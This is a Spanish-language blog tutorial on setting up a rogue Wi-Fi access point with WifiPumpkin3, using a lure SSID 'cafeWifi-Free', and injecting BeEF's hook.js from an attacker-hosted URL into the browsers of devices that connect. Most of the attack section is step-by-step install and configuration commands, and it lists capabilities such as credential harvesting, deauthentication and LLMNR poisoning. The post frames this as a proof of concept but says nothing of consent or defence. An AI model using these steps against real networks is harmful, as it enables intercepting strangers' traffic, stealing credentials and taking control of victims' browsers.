Rogue AP con WifiPumpkin3 + inyección de JavaScript con BeEF.

Bienvenidos a tod@s de nuevo a Hardsoft Security, esta vez os traemos un nuevo post relacionado con el hacking basado en redes wifi, en este caso vamos a utilizar una herramienta ya vista en anteriores artículos del blog llamada WifiPumpkin, pero con su nueva versión WifiPumpin3, ya que la anterior versión ha quedado desactualizada.

Vamos a comenzar por conocer esta nueva versión WifiPumpkin3, la podemos encontrar en el repositorio de GitHub WifiPumpkin3, esta herramienta esta escrita en Python, es una herramienta muy potente utilizada para la creación de puntos de acceso fraudulentos, es decir la técnica descrita como «Rogue AP», esta herramienta permite también que los atacantes realicen un ataque MITM.

Principales características:

  • Ataque de punto de acceso no autorizado
  • Ataque man-in-the-middle
  • Ataque al punto de acceso de Deuath
  • plantillas de matraces extracautivos
  • Rogue servidor DNS
  • Ataque de portal cautivo (cautiveflask)
  • Interceptar , inspeccionar, modificar y reproducir el tráfico web
  • Escaneo de redes WiFi
  • Servicio de monitoreo de DNS
  • Cosecha de credenciales
  • Proxies transparentes
  • Envenenamiento por LLMNR, NBT-NS y MDNS ( Responder3 )

A grandes rasgos WifiPumpkin debe su funcionalidad a un conjunto de herramientas que se distribuye entre plugins y proxies.

  • Plugins:
    • Responder3: Es un envenenador de LLMNR, NBT-NS y MDNS. A parte de que es un «rogue server» que permite la autenticación de HTTP/SMB/MSSQL/FTP/LDAP. Podemos encontrar más información en su GitHub. Responder3.
    • Sniffkin 3: Es un sniffer capaz de interceptar el tráfico de red en el protocolo TCP ,obtener contraseñas, hashs, encabezados, información de paquetes, etc. Esta herramienta ha sido desarrollada por los mismos desarrolladores de WifiPumkin. Este plugin a su vez tiene otros plugins, los cuales se configuran para establecer que deseamos capturar. Los subplugins son los siguientes: NTLMSSP, emails, ftp, hexdump, httpCap, imageCap, kerberos y summary.
  • Proxies:
    • Pumkinproxy: Proxy transparente que puedes utilizar para interceptar y manipular el tráfico HTTP modificando solicitudes y respuestas, que permiten inyectar javascripts en los destinos visitados. Desarrollado por Pumkin-dev. Este proxy a su vez tiene varios plugins configurables: beef, downloadspoof, html_inject, js.inject y replaceImages.
  • Captiveflask: Básicamente es un portal cautivo, este proxy no permite la salida a internet sin que los clientes conectados al «Rogue AP» introduzcan la contraseña del punto de acceso suplantado en el portal previamente creado.

También tenemos que comentar, cuando la herramienta es instalada, el directorio de instalación y donde se encuentran todos los ficheros de configuración es en la siguiente ruta:

/root/.config/wifipumpkin3

Ya que tenemos claro el «core» de esta herramienta y que componentes son importantes para la realización de este ataque, vamos a utilizar las siguientes herramientas para llevar a cabo finalmente este rogue AP con inyección de JS, las herramientas que vamos a utilizar, será el proxy «Pumpkinproxy» con el plugin «beef.url_hook», no hace falta mencionar que necesitamos ejecutar la herramienta Beef para poder posteriormente controlar el navegador de la víctima desde este Framework.

Antes de comenzar con la instalación os dejo un vídeo dónde podemos ver la explicación y configuración del ataque:

Instalación de WifiPumpkin3 en Kali Linux:

El primer paso que debemos realizar, será instalar las dependencias necesarias para su instalación, esto lo haremos lanzando el siguiente comando:

apt install libssl-dev libffi-dev build-essential

El siguiente paso que vamos a realizar, será clonar el repositorio de GitHub de este proyecto, esto lo realizamos con el siguiente comando:

git clone https://github.com/P0cL4bs/wifipumpkin3.git

Una vez clonado el proyecto, procedemos a instalar un ultimo requisito el cual permitirá que python pueda utilizar ciertas librerías de C++, esto lo haremos con el siguiente comando:

apt install python3-pyqt5

Una vez hemos instalado este último paquete, procedemos a dirigirnos a la carpeta que hemos clonado del proyecto de GitHub, seguidamente procedemos a la instalación de la herramienta, esto lo haremos con el siguiente comando:

python3 setup.py install

Una vez instalada la herramienta, vamos a proceder a iniciar la herramienta y a configurar nuestra tarjeta de red inalámbrica adicional para poder crear un Rogue AP con ella.

Inicio y configuración de nuestro Rogue AP.

Para configurar nuestro rogue AP, wifipumpkin nos brinda ciertos métodos métodos para configurar, estos podrían ser ejecutar en si la herramienta y configurar las variables con los valores que necesitamos configurar, otro método es pasando como argumento las configuraciones necesarias cuando ejecutamos wifipumpkin y finalmente la herramienta nos permite configurar un archivo de configuración para automatizar los ataques. En este caso para comprender mejor las configuraciones que estamos realizando, vamos a entrar a la herramienta para poder configurar nuestro AP para posteriormente inicializarlo.

Ejemplos de configuración:

wifipumpkin3 –xpulp «set interface wlan1; set ssid demo; set proxy noproxy; start»

Configuración mediante parámetros.

wp3 > set plugin plugin_name true/false

Configuración mediante plugins con wifipumpkin ya iniciado.

# configure the interface

set interface wlan1

# set name of access point will be created

set ssid demo

# set noproxy plguin

set proxy noproxy

# ignore all log from pydns_server

ignore pydns_server

# start the Access Point

start

Ejemplo de configuración mediante fichero.

Una vez tenemos claro que tipo de configuración vamos a realizar, vamos a proceder a iniciar la herramienta lanzando el comando «wifipumpkin3» para su ejecución:

Una vez ejecutamos la herramienta vamos a ver que opciones nos permite configurar wifipumpkin para nuestro Rogue AP, en este caso nos permite configurar desde BBSID (Nombre de identificación único MAC), SSID (Nombre que recibe nuestro AP), Channel (Canal donde trabajará nuestro AP), Interfaz (que interfaz utilizamos para nuestro AP) y la seguridad de nuestro AP ( establecer una contraseña y el tipo de seguridad de la red), para ver como esta configurado nuestro AP, lanzamos el siguiente comando:

ap

Lo siguiente que vamos hacer es personalizar un poco más nuestro AP, en este caso mi tarjeta de red inalámbrica la reconoce mi sistema operativo como wlan0 y también vamos a establecer un SSID nuevo para que llame más la atención, esto lo haremos con los siguientes comandos:

set interface wlan0

set ssid cafeWifi-Free

Una vez hemos añadido esta configuración ya tendríamos nuestro Rogue AP listo para levantarlo y que ofreciese una red Wifi «totalmente de confianza», el siguiente paso que vamos a realizar es la configuración del proxy y plugins que vamos a utilizar en este Rogue AP.

Configuración del proxy y plugins para nuestro Rogue AP.

El primer paso que vamos a realizar una vez hemos terminado de configurar nuestro AP, es comprobar que proxy y plugins tenemos habilitados para el funcionamiento de nuestro Rogue AP, esto lo haremos lanzando el comando:

proxies

En este caso no tenemos ningún proxy habilitado, para este ataque será necesario configurar el proxy pumpkinproxy, para eso lanzaremos el siguiente comando:

set proxy pumpkinproxy True

Una vez hemos habilitado el proxy, vamos a lanzar de nuevo el comando «proxies» para ver que plugins de nuestro proxy vamos a escoger para el ataque, en este caso utilizaremos el plugin «beef»:

Para habilitar el plugin de beef vamos a lanzar el siguiente comando:

set pumpkinproxy.beef True

Seguidamente vamos a configurar la url de nuestro «hook.js» de beEf para inyectarlo en los navegadores de nuestras víctimas, esto lo haremos con el siguiente comando:

set pumpkinproxy.beef.url_hook http://ip-atacante-beef:300/hook.js

Una vez hemos configurado todo lo necesario en la herramienta wifipumpkin3 vamos a visualizar las configuraciones que hemos realizado con los siguientes comandos:

ap

Configuración de nuestro AP.

proxies

Configuración de nuestro proxy.

info pumpkinproxy

Configuración de nuestro JS a inyectar.

Una vez hemos revisadas las configuraciones vamos a lanzar el Framework BeEF para que pueda inyectar nuestro javascript en los navegadores de las víctimas, no voy hacer mucho matiz sobre esto ya que la entrada se centra más en Wifipumpkin, en este caso lanzamos BeEF:

Una vez hemos lanzado nuestra instancia de BeEF, vamos a proceder a inicializar nuestro Rogue AP configurado, esto lo haremos con el comando:

start

Podemos comprobar desde diferentes dispositivos la existencia de nuestro Rogue AP:

Rogue AP desde Windows 10
Rogue AP desde Android.

En caso de que nuestra víctima conecte a nuestro Rogue AP, en este caso nuestra víctima es un dispositivo móvil Android, inyectará el hook de BeEF en la página correspondiente:

Conexión establecida en nuestro Rogue AP.

Cuando nuestra víctima ha establecido conexión finalmente con nuestro Rogue AP, vamos a simular que esta navegando, en este ejemplo no voy a mostrar ninguna página web en particular, solo como accedo a un servidor web que tengo alojado en la misma máquina de nuestro Rogue AP:

Acceso a web con inyección de JS.

Una vez que a nuestra víctima se le ha inyectado el JS correspondiente, este cliente aparecerá en nuestro BeEF:

Cliente en el panel de BeEF

Lo siguiente que vamos a realizar es ejecutar un módulo de BeEF para esta prueba de conecto, en este caso solo se va a tratar de una alerta que saldrá en la pantalla de nuestra víctima:

Ejecutando el módulo de alerta.

Modificando el campo «Alert Text» por un texto personalizado y posteriormente ejecutando el módulo, finalmente la víctima vería lo siguiente:

Víctima.

Con esto finalizamos esta entrada, espero que os haya gustado. Sería de gran apoyo que compartáis este post. Un saludo, David.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.